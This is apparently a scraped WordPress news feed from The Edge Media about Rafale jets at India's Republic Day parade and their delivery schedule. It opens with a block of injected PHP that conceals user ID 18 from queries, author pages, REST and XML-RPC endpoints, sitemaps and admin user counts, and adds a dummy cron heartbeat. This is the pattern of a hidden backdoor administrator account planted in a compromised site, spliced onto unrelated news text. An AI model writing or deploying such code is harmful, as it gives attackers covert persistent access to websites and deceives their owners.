add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Rafale will see the world on Republic Day, the sky will echo with 42 planes in the parade appeared first on The Edge Media.
]]>A total of 42 aircraft will be part of the flight past during the parade. Apart from Rafale, Sukhoi-30, MiG-29, Jaguar and many other aircraft will be demonstrated. Chinook Transport Chopper, Apache Combat Chopper C 130J Transport aircraft will also be included. Tejas, Astra missiles and Rohini surveillance radar will also be demonstrated during this period. The Chinook helicopter is made in the US and was inducted into the Air Force in the year 2019. India has 4 Chinook helicopters.
In view of the occasion of Republic Day, adequate security arrangements have been made in the capital Delhi. Security has been increased throughout Delhi. Posters of terrorists absconding from India have also been installed in many places. In view of the corona virus epidemic, special precautions are being taken this time on the program to be held on 26 January.
The Ministry of Defense has also reduced the number of spectators attending the program. Only 25 thousand people are allowed entry. According to the Corona Virus Guidelines issued for the program, children below 15 years and elderly above 65 years are not allowed to join the program.
The post Rafale will see the world on Republic Day, the sky will echo with 42 planes in the parade appeared first on The Edge Media.
]]>The post No delay in delivery of 36 Rafale jets to India says, the French ambassador. appeared first on The Edge Media.
]]>
“There will be no delay in delivery of 36 Rafale jets to India as the timeline finalized for the supply of the fighter jets will be strictly respected”.
“The contractual delivery schedule of the Rafale jets has been perfectly respected till now, and, in fact, a new aircraft was handed over to the Indian Air Force in end-April in France, in keeping with the contract,” French ambassador Emmanuel Lenain said.
Defence Minister Rajnath Singh received the first Rafale jet at an airbase in France on October 8. “We are helping the Indian Air Force in arranging for the ferry flight of their first four Rafales from France to India as soon as possible. So there’s no reason today to speculate that the schedule will not be maintained,” the envoy said.
France is reeling under swelling cases of coronavirus and has emerged as one of the worst-hit in Europe. Over 1,45,000 people were infected by the virus while the death toll stood at 28,330. There were apprehensions that the delivery of Rafale jets could be delayed due to the pandemic.
However, Lenain asserted that the original timeline for delivery of the jets will be adhered to. The aircraft is capable of carrying a range of potent weapons. European missile maker MBDA’s Meteor beyond visual range air-to-air missile and Scalp cruise missile will be the mainstay of the weapons package of the Rafale jets.
Meteor is the next generation of BVR air-to-air missile (BVRAAM) designed to revolutionize air-to-air combat. The weapon has been developed by MBDA to combat common threats facing the UK, Germany, Italy, France, Spain, and Sweden.
Besides the missile systems, the Rafale jets will come with various India-specific modifications, including Israeli helmet-mounted displays, radar warning receivers, low band jammers, 10-hour flight data recording, infra-red search and tracking systems. — PTI
The post No delay in delivery of 36 Rafale jets to India says, the French ambassador. appeared first on The Edge Media.
]]>